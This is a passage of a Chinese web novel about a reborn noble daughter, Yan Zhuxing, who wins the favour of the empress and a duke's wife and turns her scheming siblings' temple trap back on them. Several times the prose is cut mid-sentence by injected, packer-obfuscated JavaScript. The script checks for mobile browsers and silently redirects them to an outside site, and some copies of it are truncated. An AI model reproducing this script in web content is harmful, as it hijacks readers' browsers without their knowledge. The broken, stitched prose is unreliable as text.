温如霜这才想起了那日烈国公说的认亲一事。 从马车掉落后,她就把这事给忘了。 她还以为烈国公只是随口说说,如今烈国公夫人登门,难不成他们是真心实意想认晏逐星为义女的? “烈国公夫人怎么会带着世子爷登门?”定远侯十分不解。 温如霜张了张嘴,又把实话咽回了肚子里。 若是侯爷知道晏逐星要成为烈国公夫妇的义女,恐怕不会将她赶出去了。 “难不成是上门要说法的?”定远侯越想越偏。 “上回你去了国公府,他们怎么说的?” 他看向了温如霜。 温如霜支支吾吾,不知道该怎么圆话。 这时,一个丫鬟提着裙裾碎步冲了进来。 “侯爷,皇后娘娘跟前的吴嬷嬷又来了,说是给咱们大小姐探病问安。”她声音打着颤,“这会儿带来的赏赐正往玉澜院抬呢。” “什么?”定远侯和温如霜再一次异口同声地惊呼。 皇后不是应该厌恶了晏逐星么,怎么又送来了赏赐。 “将星儿送走一事之后再议,你如今卧病在床,就不要操心这些琐事了。”定远侯果断做出了决定,转身离去。 温如霜喉头猛地窜上腥甜。 就差一点! 差一点晏逐星就要被赶出去了。 烈国公夫人和皇后的人就不能晚一天再来吗。 …… 烈国公夫人领着儿子来了玉澜院,听说晏逐星刚刚吐了血,吓了一跳。 “妹妹,呜呜呜,妹妹难受。”尉迟敦扯着母亲的手,眼里蓄满了眼泪。 他看到病恹恹的晏逐星,一下就哭了。 “不要妹妹变星星,妹妹不要走。” 烈国公夫人知道他这是想起了亲妹妹,一瞬间也红了眼眶。 “哥哥别哭,我没事。”她赶忙安慰尉迟敦。 “没错,妹妹好着呢。”烈国公夫人也跟着附和。 两人轮流哄了一下尉迟敦,唤来双鲤带他去小厨房吃刚蒸出来的糕点,这才让他止住了哭啼。 烈国公夫人握住了晏逐星的手,轻轻拍了拍:“好孩子,你受了什么委屈,只管告诉我。虽然还没有举行认亲宴,但在我心里,你就是我的亲女儿了。” 晏逐星有些愧疚。 她没什么事,只是演戏罢了。 先前趁双鲤给她递茶的间隙,她悄然将早备好的鸡血药囊咽下,随即佯装被气得吐血,这才将那讨人厌的卫国公夫人赶走。 “我没什么事,夫人不必担心。”晏逐星摇了摇头。 看着她这乖巧懂事的模样,烈国公夫人心软得一塌糊涂。 她想到了晞儿。 那孩子也是这样,什么都说没关系,喝药也说不苦,有时候被傻哥哥推倒也不哭不告状。 她们越是这样,就越让人心疼。 两人还没说上几句话,就听到丫鬟跑进来通传。 “大小姐,吴嬷嬷来了。” 晏逐星有些惊讶,皇后面前的心腹嬷嬷怎么来了? 她掀开被子,打算起身,就被急匆匆进来的吴嬷嬷按住了肩。 “姑娘不必拘礼。皇后娘娘听闻姑娘受伤,特命我送了这玉肌膏前来。伤筋动骨最忌挪动,这百日内姑娘就在府里静养,宫里就暂且别去了。” 随后,她俯身替晏逐星掖了掖被角。 “待姑娘伤好后,老奴再来接您入宫。” “怎敢劳娘娘这般记挂。”晏逐星轻咳几声,命人接过了玉肌膏,又虚空冲皇宫的方向行了一礼。 “多谢娘娘赏赐,辛苦嬷嬷跑这一趟了。” 吴嬷嬷眼角笑纹深了几分,显然对她很满意。 烈国公夫人也很替她高兴,笑道:“玉肌膏千金难求。幸得娘娘垂怜赐药,你这身上的伤定然不会落下疤痕了。待你大安后,定要亲自前往未央宫谢恩才是。” 晏逐星乖乖点头:“谨记夫人教诲。娘娘圣恩,星儿自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508621|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当铭记于心,日夜不忘。待能下榻,定会亲自去未央宫谢恩。之后再往玄空寺佛前供上三载佛香,愿佛祖庇佑娘娘凤体康泰,千岁长春。” “你这孩子,还叫什么夫人,多见外呀。唤我一声干娘就是了。”烈国公夫人笑眯眯地看着她。 听到这话,吴嬷嬷心念一动。 外边传言定远侯府大小姐给烈国公世子爷下了**,可如今烈国公夫人却要认她为干女儿,明显事情就不是那么一回事嘛。 看来那些多半是谣传。 她也笑呵呵地跟着搭话:“娘娘若是得知姑娘有这心意,定然十分开怀。对了,除了玉肌膏,娘娘还让我送了一些解闷的小玩意来。” 说罢她命人将赏赐之物拿了出来。 一个紫檀木嵌螺钿云纹棋盘配着上好和田籽玉雕琢而成的双色棋子。 吴嬷嬷笑呵呵道:“容老奴多句嘴。姑娘若闷了,不妨请永安王来手谈几局。咱们永安王呀,最喜欢下棋了。” 紧接着,又拿出了一架青桐木做的古琴。 此琴通体素雅,木质温润如玉,纹理细腻,一看就价值不菲。 “说来也巧,咱们永安王也擅长琴技。此琴王爷先前寻娘娘讨要多回,娘娘都没给。如今却给了姑娘。若王爷得知,少不得要上门讨要。姑娘可千万别给他,最多让他上门多弹几次。” 吴嬷嬷眼尾的笑意加深,烈国公夫人和晏逐星都听出了不对劲。 怎么感觉,皇后娘娘像是在撮合她和永安王? 这可能吗? 吴嬷嬷陆陆续续拿出了几个好东西,随后在她面前翻来覆去地夸了永安王好几回,最后又关心了晏逐星几句,方才回宫。 院外的定远侯没有进去,只是命下人偷偷入内打听吴嬷嬷和烈国公夫人都和晏逐星说了什么。 得知皇后娘娘这般看重晏逐星,烈国公夫人还要认晏逐星当义女。 他猛地一拍大腿。 哎呀,差点就酿成大错了呀! 第35章 被烈国公夫人的话勾起了好奇心 之前一直是温氏针对的晏逐星,他这个父亲只不过出面斥责过一次。 她应当不会记仇吧? 他记得,小时候晏逐星还是很黏着他的。 定远侯在心里打起了小算盘。 “去醉仙楼买份鲍汁扣鹅掌回来。”他扭头嘱咐小厮。 待到烈国公夫人离开后,他得好好跟星儿叙叙这父女之情。 …… 吴嬷嬷离开后。 烈国公夫人和晏逐星说起了先前的事。 “我怎么瞧着,皇后娘娘好似属意你嫁给永安王呀?”她微微蹙眉。 晏逐星沉默片刻后,开口道:“干娘,我觉得你想多了。我这样的身份门第高攀不上永安王的。” 她不好把谢翊宁也重生了的事说出来。 她猜测今日皇后娘娘派人来给她送药,多半是谢翊宁在背后出力。 毕竟他说过要报恩。 吴嬷嬷三番几次提永安王,说不定就是在暗示她,此事是永安王所助,让她一定要记得感恩。 烈国公夫人听到她这话,心里有些酸涩。 若晏逐星是定远侯的亲女儿,恐怕侧妃之位还能争一争。 但她身世成谜,如今名声又不好。 帝后这般疼爱永安王,定然不会让她嫁进去。 她握住晏逐星的手,柔声安慰:“无妨。我同你说真心话,即便是皇后娘娘有意,我也不想让你嫁永安王。” “为何?”晏逐星有些惊讶。 烈国公夫人压低声音:“国师的预言。” 晏逐星也想起了这事。 烈国公夫人叹了一口气:“四年后,你也才十八岁,未来的日子就要一个人走,未免也太辛苦了。你还年轻,不懂寡妇的煎熬。” 而后她摇了摇头。 “嗐,我和你说这些做什么。不过你放心,待你及笄后,干娘一定给你挑个如意郎君。” 说到最后,她脸上重新挂上了笑容。 晏逐星听到这话,鼻腔有些发酸。 烈国公夫人是真的拿她当亲女儿看待了。 若非亲女儿,又怎会替她考虑得这般周全。 “干娘,不急。”晏逐星拒绝了。 “我不想那么早嫁人。女子若是嫁了人,便没有那么自在了。我还想多陪你们和哥哥几年。” 烈国公夫人听到这话深感欣慰。 这孩子,是个知恩图报的。 他们将她认作义女,主要也是希望她能多陪陪敦儿。 毕竟敦儿已经很久没有那么开心了。 若她嫁了人,有了婆家,便不能隔三岔五去国公府照看儿子了。 “男怕入错行,女怕嫁错郎。成婚不急,但寻摸好郎君还是得抓紧时间的。”烈国公夫人莞尔一笑。 “毕竟好儿郎早早就会被人定下了。” 晏逐星虽然无意成婚,但也不好拂了她的美意,只是笑着点了点头。 “小姐,该喝药了。”双鲤将药送了上来,打断了两人的闲谈。 看到药,烈国公夫人想起了刚到玉澜院时他们那个兵荒马乱的阵仗,赶忙追问:“先前没来得及问,究竟发生何事了,你怎么会吐血?” 晏逐星还没开口,双鲤眼珠子一转,就抢先哭诉了起来。 “还不是卫国公夫人羞辱我家小姐。” 她一边抹眼泪一边把先前窦淑容说的那些话活灵活现地重复了一遍。 她现在演起这些哭戏来,得心应手。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏逐星若有所思,她询问道:“那您可知,先前卫国公夫人和哪家相看没成?” 烈国公夫人思索片刻:“相看不成一般都不会说出来。不过我瞧着太傅大人的嫡长孙女陆壁君应该是与他们家相看过的。” 听到“太傅”二字,她忽然想起做鬼的时候听到晏明远说的那些话。 他说太傅的孙子陆池**。 算了算时间,应该是她死后不久,也就是四年后。 晏明远还说陆池对她颇有好感,她怎么毫不知情呢。 印象里,她好像并不认识陆太傅的这位孙子。 “你想什么呢?你不会真看上裴明镜了吧?”见她久久不说话,烈国公夫人在她面前挥了挥手,示意她回神。 晏逐星忙道:“绝无此意。” 听到这话,烈国公夫人松了一口气。 “那就好。裴明镜此人虽然不错,但有窦氏那般持家严苛的婆母,你嫁过去日子不会好过的。” “嗯,我听干娘的。”晏逐星乖乖点头。 外边玩雪的尉迟敦噔噔噔地跑了进来,脸上满是期待的笑:“妹妹,雪人堆好了,你快去看吧!” “妹妹病着呢,你莫要将身上的寒气过给了她。”烈国公夫人温柔地看着儿子。 “哦!”尉迟敦点点头。 忙将自己沾了雪的斗篷摘下,冲着手心哈气,又搓了搓手,确认掌心变得暖和之后贴到了母亲脸上。 “娘亲,不冷啦。” 烈国公夫人顿时哭笑不得。 尉迟敦理直气壮道:“可以看雪人了吧?” 烈国公夫人正欲阻拦,晏逐星却笑着点头答应了下来。 “好呀。只不过我腿伤着了,哥哥得背我。”晏逐星伸出手。 尉迟敦二话不说弯腰半蹲到她面前,拍了拍自己的后背:“来,哥哥带你出去玩。” 晏逐星命人将暖和的斗篷重新披回尉迟敦身上,而后才爬到了他背上。 烈国公夫人看着这一幕,心惊胆战,生怕儿子把人给摔了。 没想到,他竟然走得稳稳当当,背着晏逐星去了院子里。 烈国公夫人掏出帕子,擦了擦有些湿润的眼角。 她已经许久没看到这样沉稳的儿子了。 看起来好似与常人无异。 但抵达院子后,尉迟敦将晏逐星轻轻放在铺了貂绒的藤椅上,方才的沉稳气质瞬间消失得烟消云散。 他指着那个脑袋歪斜的大胖娃娃和另一个小胖娃娃,一字一句道:“这个,我。这个,妹妹。” 晏逐星望着那歪戴梅花、斜插萝卜的雪堆,噗嗤笑出了声。 尉迟敦骄傲地抬起下巴:“我厉害吗?” “厉害!哥哥最厉害了!”晏逐星托着下巴,一脸崇拜地看着他。 尉迟敦顿时乐得原地蹦跶,瞧见了走出来的烈国公夫人,嘿嘿一笑:“我再堆一个娘亲!” 话音没落就扑通跪进雪堆里,靴子把雪踢得到处乱飞。 烈国公夫人看着冒着孩童稚气的儿子,最终也还是笑弯了眉眼。 玩了好一会儿,尉迟敦累了,才依依不舍地跟着娘亲离开了玉澜院。 他一步三回头,看到晏逐星冲他挥手,尉迟敦扁扁嘴,眼泪说掉就掉:“娘亲,为什么妹妹不能跟我回家?” “敦儿不哭。妹妹身子不好,要在这养病,过段时间她就会回家了。”烈国公夫人赶忙哄他。 好说歹说,终于把他骗回家了。 他们一走,定远侯便提着食盒来了玉澜院。 “星儿,为父命人去醉仙楼买了你最爱吃的鲍汁扣鹅掌,你快尝尝,还热乎着呢。” 无事献殷勤,非奸即盗。 这是晏逐星脑海里闪过的第一个念头。 “多谢父亲。”她示意衔蝉上前检查,看看这饭菜是否有问题。 见衔蝉微不可察地冲她点了点头,她这才放心食用。 醉仙楼的鲍汁扣鹅掌可不好买,至少得排一个时辰呢。 既然他送上门来,不吃白不吃。 “你我父女二人,何必这般客套。”定远侯坐在她对面,给自己倒了一杯酒。 他试探性地问道:“皇后今日为何又给你那么多赏赐?还有永安王,上回你坠马,他为何这般担心?” “我也不知道呀。”晏逐星一脸无辜地看着他。 定远侯被她的回答哽住了。 他又道:“那烈国公夫人要认你为义女一事,你怎么不告诉父亲呀。” “我以为母亲会跟您说。”晏逐星惜字如金,回答得十分简短。 定远侯再一次沉默,他挤出一个尴尬的笑:“出了那么大的事情,你们忘了也正常。” “这事,确定是板上钉钉了?”他继续试探。 “嗯。干娘说,等过完年了,就办认亲宴,让京城里的人都知道我是她的义女。”晏逐星扯着虎皮当大旗。 定远侯露出了笑意,随后又倒了一杯酒。 他看着晏逐星:“星儿,你可是在怨父亲?” 晏逐星没说话,屋子里沉默一片。 定远侯有些尴尬地抿了一口酒。 “是父亲错了。原想着你妹妹在外边吃了那么多苦,多补偿她一些,却没想到忽视了你。为父自罚三杯。” 说完他仰头喝下了三杯酒。 酒入愁肠,他像是放开了些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我院子里的丫鬟……”晏逐星话说到一半,便没有继续说下去。 定远侯当即领悟她的意思,爽快答应:“明日便让牙人将奴仆带来,任你挑选。你母亲给你安排的这些人,就送去别的院落吧。” 晏逐星继续委屈巴巴地开口:“自妹妹归府,母亲便停了我每月三两银子的月钱,说我占了妹妹的身份,享了那么多年的福,该把我的月钱加到妹妹那边。” 定远侯嘴角抽了抽。 没想到夫人竟然连这点银子都要克扣。 他面上端出个虚笑:“是你母亲一时糊涂。这月钱,父亲补给你就是了。四年多的月钱,拢共也就一百多两银子。我给你补到二百两可好?” “多谢爹爹。” 晏逐星这一声爹爹可算喊到他心坎里去了。 定远侯在心底嗤笑。 啧,果然是小丫头啊,随便装装慈父的模样哄一哄她就原谅了。 送走定远侯后,晏逐星脸上的笑意也消失了。 既然定远侯送上来给她利用,那她就不客气了。 就是不知道温如霜母女,如果知道定远侯对她这样讨好,会不会当场气死。 第37章 其中肯定有什么猫腻 定远侯来玉澜院的事情并未刻意隐瞒。 再加上晏逐星有心宣扬,很快温如霜和晏明月都知道了定远侯的所作所为。 “凭什么爹爹对她那么好,我才是他的亲女儿。”晏明月既愤怒又慌张。 从她回府后,全家人都宠着她抛弃了晏逐星。 她不能接受家里人对晏逐星比她更好。 如今定远侯竟然偏宠晏逐星,她顿时生出了危机感。 “不行,我要去找哥哥。”晏明月揉红了眼睛,决定去找晏明远和晏明修。 母亲和晏逐星有血海深仇,肯定是站在她这边的。 她必须要把两个哥哥也牢牢握在手里,不能让晏逐星抢走了。 想到他们仨都挨晏逐星的巴掌,她心里莫名生出了一股庆幸。 为了那个巴掌,哥哥们应该都不会选择偏袒晏逐星吧? 果不其然。 她找到两个哥哥把这事一说,二哥晏明修顿时义愤填膺了起来。 “那个野丫头霸占你大小姐的位置那么多年,不知感恩,又有害母亲坠马的嫌疑,父亲怎么还对她那么好。” 他越想越气,捋起了袖子,就要去找晏逐星。 “不行,我必须得给她一个教训,好让她认清自己的身份地位。” “等等,不许去。”晏明远拦住了冲动的弟弟。 “为什么?”晏明修不解,十分委屈。 “你们没发现吗,自打那日告官之后,她就变得不一样了。” 晏明远这话一出,晏明月和晏明修都下意识地点头。 是呀,那天之后,晏逐星就好像变了一个人似的。 晏明远继续道:“好像伤害过她的人都受到了惩罚,妹妹的丫鬟**,母亲摔下马车残了。她反倒越过越好。皇后娘娘、永安王、烈国公一家都对她另眼相待。” 晏明月听到这话,死死咬住了下唇,内心的妒忌熊熊燃烧。 明明她才是侯府嫡女,晏逐星一个来路不明的野种,为什么那么多人偏宠她。 晏明修也觉得有些古怪。 他嘀咕道:“是啊,现在的她和从前完全不一样了。” 以前的晏逐星就是个窝囊废,府里最低贱的下人都能对她踩两脚。 现在别说下人了,就连父亲都变得对她客客气气了。 他脑海里忽然闪过一个荒唐的猜测:“你们说会不会是什么孤魂野鬼上了她的身,所以她才性情大变。” 晏明月被他这话吓了一跳,细细思量后,觉得也不是没有可能。 毕竟一个人短期内怎么可能会有那么大的变化。 “大哥,二哥,我害怕。”她楚楚可怜地抓住了两人的衣袖。 “明月乖,不怕哦,有大哥在呢。”晏明远赶忙放缓了语气哄妹妹。 见她吓得瑟瑟发抖,晏明修赶忙道:“三日后大哥不是要和户部侍郎家的沈小姐去玄空寺相看么。到时候,咱们就说要去玄空寺给母亲祈福,把晏逐星也带上,到时候让玄空寺的大师,狠狠收了她这个妖孽。” 晏明月一想,这确实是个好主意。 玄空寺在半山腰上,晏逐星腿脚不方便,要入寺庙就得有人抬着她上去。 到时候在抬轿子的人那里动动手脚,让他们手一滑,说不定就能让晏逐星彻底消失了。 于是她赶忙点头:“二哥这个主意好!” “大哥,你觉得呢?”晏明修一脸期待地看着兄长。 晏明远迟疑了片刻,最终还是同意了这个做法。 晏明月亲自去了玉澜院跟晏逐星说这件事。 双鲤皱眉反驳:“二小姐,我家小姐的腿还伤着呢。太医说了不宜动弹,得好好养着。” “无妨。马车直接到山脚下,到时换乘软轿上山,保管不用姐姐自己走一步路。”晏明月不停地劝说。 “眼下外头那些闲言碎语传得愈发难听,不如趁此机会到悬空寺为母亲斋戒祈福。既全了孝道,也让那些嚼舌根的再寻不着由头中伤姐姐。” “你让我好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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牙人欢欢喜喜地领着剩下的人走了。 晏逐星让衔蝉和双鲤去管理那些新来的丫鬟,单独留下了九栀问话。 “昨日是约定好的时间,你怎么没出现?” 第38章 永安王当真心悦于她,想要娶她? “我被永安王的人带走了。”九栀没有隐瞒。 “什么?”晏逐星当场傻眼。 怎么又和谢翊宁有关。 “那日我办完事后,便离开了你安排的住所,没想到,还是被他们找到了。”九栀有些羞愧。 她以为自己扫尾扫得很干净呢,没想到永安王的人技高一筹。 “永安王说他知道我是谁的人。他说他没有恶意,只是京兆尹裴明镜的人一直在找我。他让我在王府呆了两日,说会找机会将我送回小姐身边。今日侯府要采买丫鬟,他便安排我混了进来。” 晏逐星都被永安王这番举动给弄迷糊了。 就算是报恩,是不是次数也太多了一点。 难不成是他觉得他的命比较值钱,需要多报几次? 还是说…… 晏逐星脑海里闪过吴嬷嬷疯狂夸赞永安王的画面,还有皇后娘娘的那些赏赐,以及烈国公夫人的猜测。 难不成永安王当真心悦于她,想要娶她? 想到这,晏逐星噗嗤笑出了声。 这怎么可能。 她也太敢想了。 “小姐,你笑什么?”九栀有些疑惑。 她摇摇头,没说出来。 永安王什么身份,她什么身份。 他们两人绝对不会有可能的。 虽然卫国公夫人说话很难听,但她说的确实是实话。 她这样来历不明的身份,嫁给裴明镜都不够格,更别提永安王了。 既然他没有恶意,她也懒得去想他为什么会这么做。 大不了之后有机会了,她再报答他。 晏逐星轻轻用指节敲了敲自己的脑袋,把这些不切实际的想法抛出脑袋。 如今她腿脚不便,有一个会武功的丫鬟在身边,她安心多了。 她可以仔细想想如何对付晏明月了。 欺负她的人,她是绝对不会放过的。 她提笔写下了晏明远、晏明修、晏明月三个人的名字。 据说昨日晏明月去找了他们俩,随后才来邀请她去玄空寺的。 这应该是他们兄妹三人商议出来的结果。 晏逐星又在纸上写下了“玄空寺”三个大字。 “为什么他们非要我去玄空寺不可呢?”晏逐星咬着笔杆子,思索了起来。 片刻后,她猛地一拍脑袋,想起来了。 上辈子晏明远一行人,也去了玄空寺。 只不过那时候温如霜还不是残废,她领着晏明远和晏明月一块去的。她要给晏明远相看媳妇。 “相看的对象,是谁来着了。”她嘟囔着在纸上胡乱涂抹,将那些人的名字都抹去后,终于想起来了。 是户部侍郎沈源晖的嫡女沈墨湘。 上辈子两人看对了眼,半年后便成婚了。 玄空寺的邀约透着蹊跷,她在纸上标记出了他们可能会陷害她的地方和手段。 不过,坐以待毙不是她的脾性。 她决定反击。 管他们的目的是什么呢,她要借此机会毁了晏明远的这桩姻缘,顺便把晏明月也给收拾了。 前世他们踩着她的尸骨登上富贵阶。 这一世,她要他们血债血偿,穷困潦倒。 她要他们跪在泥淖里,亲手把最珍视的东西,一件件碾成齑粉。 晏逐星仔细回忆起玄空寺的情况。 她记得玄空寺附近好像有个温泉山庄,最后好像被威宁侯买了下来。 只是不知道到底是哪一年。 她命九栀明日出门打听打听那个温泉山庄的事情。 她有一个好主意,或许可以一箭三雕。 …… 晏明月等了一整天,没了耐心,她再次来了玉澜院。 先装模作样地和晏逐星寒暄几句后,她问出了自己的目的:“姐姐想好了吗,到底要不要跟我们一块去玄空寺呀。” “去。”晏逐星微微颔首。 她打算赌一把,一箭三雕。 晏明远,晏明月还有威宁侯府,都得付出代价。 “好,那我这就跟大哥说去,保管安排得妥妥当当。”晏明月笑着离开。 晏逐星闭目思索了起来。 后日去玄空寺,她还有时间布局。 足够了。 九栀回府后,将打听的消息悉数道来。 “那个温泉山庄还未易主,威宁侯前些时日才去谈过,似乎没有谈妥。” 晏逐星想了想,轻声吩咐道:“你想办法给威宁侯透露一下,定远侯府要买那个山庄。让他后日务必出现在玄空寺附近。” “好。”九栀想也没想地就答应了下来。 晏逐星长长地吐了一口气,又在脑海里将那日的会遇到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“毕竟二妹妹身娇体弱,这么长一段路,恐怕她爬上去也会累得够呛。” 第39章 只可惜…… 晏明月下意识地攥紧了手。 她可不能坐那个软舆,若是坐上去她就完了。 她赶忙道:“不了,我能走。为母亲祈福,走路去才心诚。” 原本晏逐星还不能确定她准备的软舆有没有问题,如今看她这个态度,必然是有问题了的。 晏逐星没有继续在这个问题上纠缠,她给晏明月准备的好戏还在后头呢。 一行人慢慢悠悠地上了玄空寺。 踏上最后一级石阶时,正撞见沈夫人替女儿整理发钗。 沈墨湘的浅杏色裙摆被山风吹得微乱,瞥见晏明远时,她倏地侧过身去。 “夫人,真巧,你们今日也来玄空寺上香么?”晏明月跨前半步攀谈。 沈夫人将女儿往身前一拉:“是呀,带着湘儿来求平安符。你母亲可还好?” “嗯,好多了。但我与兄长还有姐姐还是想来玄空寺替母亲祈福,期盼她早日康复。”晏明月故意抬高声量。 晏明远趁势来同沈夫人问好:“晚辈晏明远,问夫人安。” 沈墨湘恰在此时抬眼,两人目光一触即分,沈墨湘耳尖泛起红晕,低头盯着青石板上两道斜斜的人影不敢再看他。 一旁的晏逐星饶有兴致地看着他们。 明明是提早约好了相看,明面上却不能透露半分,两家人还在这装模作样的偶遇。 见沈夫人看过来,她也虚虚行了一礼:“夫人好。” “嗯,你们倒是有孝心了。”沈夫人没有过多打量晏逐星,她更关心晏明远。 毕竟这个孩子之后会成为自己的女婿。 “既是如此,那咱们便一块入殿内上香吧。”沈夫人邀请道。 “好呀。”晏明月笑着答应。 一行人正欲入大雄宝殿内,晏逐星却在此时开口:“我有些疲倦,想去后山透透气,将先前双鲤捡到的玄龟送去放生,就当为母亲祈福了。” “行。那你们伺候好大小姐。”晏明远没有阻拦,反倒将自己的小厮拨给了晏逐星。 “有什么事,你便让竹安来寻我。” 语气温和,一如晏明月没被找回来之前,俨然是一个疼爱妹妹的好兄长。 “好的,大哥。”晏逐星应下,让人将她抬至后山。 玄空寺后山的放生池极大,连着山体一起,形如被巨斧劈开的半片莲叶。池面约三丈宽,水色极深,看不到底,风吹过水面泛起波澜。 真是个毁尸灭迹的好地方呀。 晏逐星让丫鬟将玄龟放走,耐心地等着。 她赌晏明月一计不成,还有第二计。 她不会放过这绝佳陷害她的机会。 不过在那之前,她要把无关人等给请开。 “我饿了,想吃山脚的烧饼,你去给我买。”晏逐星看向了一旁的竹安。 竹安皱眉拒绝:“大小姐,小的奉少爷之命得守着您。” 晏逐星眉梢一挑:“大哥让你什么都听我的,你是要阳奉阴违吗?你若不听,我回家就告诉父亲,让他把你换了。” 竹安立刻怂了。 谁不知道侯爷如今十分偏爱大小姐,整个玉澜院的人几乎都换了一遍。 他在大少爷身边办差办得好好的,他可不想被赶走。 他挤出一个笑脸:“小的这就去给您买。” 他离开后,放生池附近便只剩下了晏逐星主仆,零零散散有几个香客出来放生,但很快就离开了。 晏逐星裹着斗篷,怀里还抱着手炉,并不觉得寒冷。 看着巍峨的山,反倒感觉到了久违的自由。 在侯府虽不愁吃穿,但那种整日算计的窒息之感还是让她想要逃离。 她闭上眼眸,暗暗想着日后的生活。 等她将定远侯府的仇人除尽后,她便去江南养老。 上辈子她在边塞从军时,曾遇到过一个来自江南水乡的小兵阿槐。 有一次他们被敌军围困不得不吃草根树皮时,阿槐还在嘴里念叨着家乡的美味。 他们春天会吃裹着艾草香的青团,软软糯糯,回味无穷。 夏天会把菱角剥肉与米同煮,加入苋菜嫩叶煮出清甜的菱角菜粥。 秋天将湖蟹残肢碎壳熬汤滤渣,加黄豆酱熬煮,做成香喷喷的蟹糊酱,一勺配着能吃三大碗饭。 冬天把腌制好的雪里蕻切碎,与老豆腐同炖,做成的咸菜滚豆腐,咸香暖身。 他口中的一切,都让她心生向往。 她那时候想着,等之后空了她一定要去一趟江南,去他的家乡尝尝他说的那些美食,看看他念念不忘的家乡美景。 只可惜…… 后来她没能去成,万箭穿心死在了战场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没想到,“噗通”一声响。 晏明月落水了。 第40章 失了清白,之后的婚事恐怕难办咯 正准备推人的蔓儿当场愣在了原地。 树上怎么会忽然掉下来一个黑衣人,直接把二小姐踹到了放生池里? 事情发生得太快,她还处于吓懵了的状态。 晏逐星趁机往地上一躺。 黑衣人迅速撤离。 “救命……救救我……” 晏明月在放生池里沉沉浮浮,拼命挣扎。 池水瞬间漫过狐裘灌进她的衣领里,她拼命扑腾着想要起来,可是越挣扎就越往下坠。 蔓儿听到呼救声打了个激灵,这才回过神来,慌张道:“来人呀,有没有人救救我家小姐。” “林管事?林管事你在吗?” 求救声和询问声同时响起。 威宁侯一边问一边东张西望。 他特别想要那个温泉山庄,但那个庄子是景王妃的陪嫁,他跑了好几回王妃都没松口。 得知定远侯也有意要买温泉山庄,他顿时急了。 因此听说定远侯一家今日来了玄空寺,林管事正在往生池这边的古树下和他们商谈,他便急匆匆骑马赶来了。 蔓儿看到他,仿佛像看到了救命恩人,立刻冲了过去。 “求您救救我家小姐,她落水了,人命关天啊。” 威宁侯瞧见在池子里挣扎的晏明月,没想太多赶忙跳下去救人。 双鲤领着晏明远和沈夫人一家过来,就看到了这一幕。 “哎呀,小姐,你怎么摔了呀。”她吓了一跳,撒腿就跑过来将晏逐星从地上搀扶起来。 “少爷,二小姐落水了,呜呜呜。怎么办呀。”蔓儿吓坏了,只会哭。 晏明远得知坠入池子里的晏明月生死未卜,怒意顿时冲上了脑海,他走上前不分青红皂白地就要抬手扇晏逐星耳光。 “是不是你害得明月掉进池子的?!” 晏逐星抬手就抓住了他的胳膊:“我被这丫鬟推倒在地,动弹不得,你这个做大哥的看到我摔倒,不仅不关心我受伤了没,竟然还要冤枉我。” 她用力将晏明远的手甩开。 “你可真是我的好大哥啊。” 晏明远被她拦住愈发恼怒:“你一直记恨明月,不是你把她推下池子的还能是谁?” “我告诉你,若是今日明月有个三长两短,我要你给她偿命!!!” 他双目猩红,一副恨不得将晏逐星活剥生吞的模样。 晏逐星没搭理她,看向双鲤:“你快去请人来救二妹妹,今日我们是一起来给母亲祈福的,一个都不能少,全都要平平安安地回家。” “让衔蝉也多叫点人来帮忙。” 晏逐星捏了捏她的手心暗示。 双鲤乖乖听话,立刻往殿内跑去。 晏明远不会水,不敢跳下池子救人,只得站在一旁干着急。 池子里晏明月的狐裘太沉,被威宁侯解掉了,她太过害怕胡乱挣扎,惹得救她命的威宁侯累得够呛。 本来熟悉水性的他很快就能捞人上来,结果因为晏明月乱踢乱蹬,让他差点也跟着栽在里边。 …… “定远侯府二小姐落水啦,快来人啊,救命啊。”双鲤嚷着大嗓门喊。 添完香油钱的衔蝉听到这话,便跟着浑水摸鱼,没说哪家小姐,只是一味地让人去往生池救人。 许多人稀里糊涂,不清楚是不是自家孩子落水了,就也跟着去了往生池那边。 众人赶到时,威宁侯正抱着晏明月从结着薄冰的池子里爬上来。 晏明月面色惨白地蜷在威宁侯怀里,湿透的冬衣紧贴身体,不断往下滴着水。她的狐裘早被池水卷走,单薄的中衣吸饱了水,沉甸甸贴在威宁侯的身上。 晏明远脸色一沉。 糟了,这一幕被那么多人看到,恐怕有损妹妹名声。 “明月,松手,跟哥哥回家。”他脱下自己青蓝色的大氅,想要替晏明月遮盖身子。 没想到,受惊之下的晏明月还没回过神来,仍在发抖,手指死死攥着威宁侯的衣襟,两人呼出的白气在咫尺之间混作一团。 围观人群倒抽冷气的声音此起彼伏。 